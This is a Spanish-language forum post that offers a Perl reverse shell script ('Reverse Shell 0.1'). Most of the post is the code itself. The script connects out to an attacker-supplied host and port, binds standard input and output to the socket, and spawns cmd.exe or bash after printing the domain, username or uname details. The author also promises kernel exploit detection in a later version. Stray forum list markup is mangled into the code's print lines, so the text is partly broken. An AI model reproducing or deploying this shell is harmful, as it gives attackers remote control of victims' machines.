[Perl] Reverse Shell

Hola a todos.

Hoy traigo un simple reverse shell en esta version solo pueden conectarse al server que tiene netcat
despues ofrece informacion depende del sistema operativo que tiene el que ejecuto el script.
En la version 0.2 le agregare deteccion de kernel y su posible exploit.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51

#!usr/bin/perl #Reverse Shell 0.1 #By Doddy H use IO::Socket; print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n"; unless (@ARGV == 2) { print "[Sintax] : $0 <host> <port>\n\n"; exit(1); } else { print "<ul class="bbc_list"><li type="square"> Starting the connection\n";[/li][/list] print "</li><li type="square"> Enter in the system\n";[/li][/list] print "</li><li type="square"> Enjoy !!!\n\n";[/li][/list] conectar($ARGV[0],$ARGV[1]); tipo(); } sub conectar { socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp')); connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0]))); open (STDIN,">&REVERSE"); open (STDOUT,">&REVERSE"); open (STDERR,">&REVERSE"); } sub tipo { print "\n</li><li type="disc"> Reverse Shell Starting...\n\n";[/li][/list] if ($^O =~/Win32/ig) { infowin(); system("cmd.exe"); } else { infolinux(); #root(); system("bin/bash"); } } sub infowin { print "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list] print "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list] print "</li><li type="square"> Username : ".Win32::LoginName()."\n\n\n";[/li][/list] } sub infolinux { print "</li><li type="square"> System information\n\n";[/li][/list] system("uname -a"); } #The End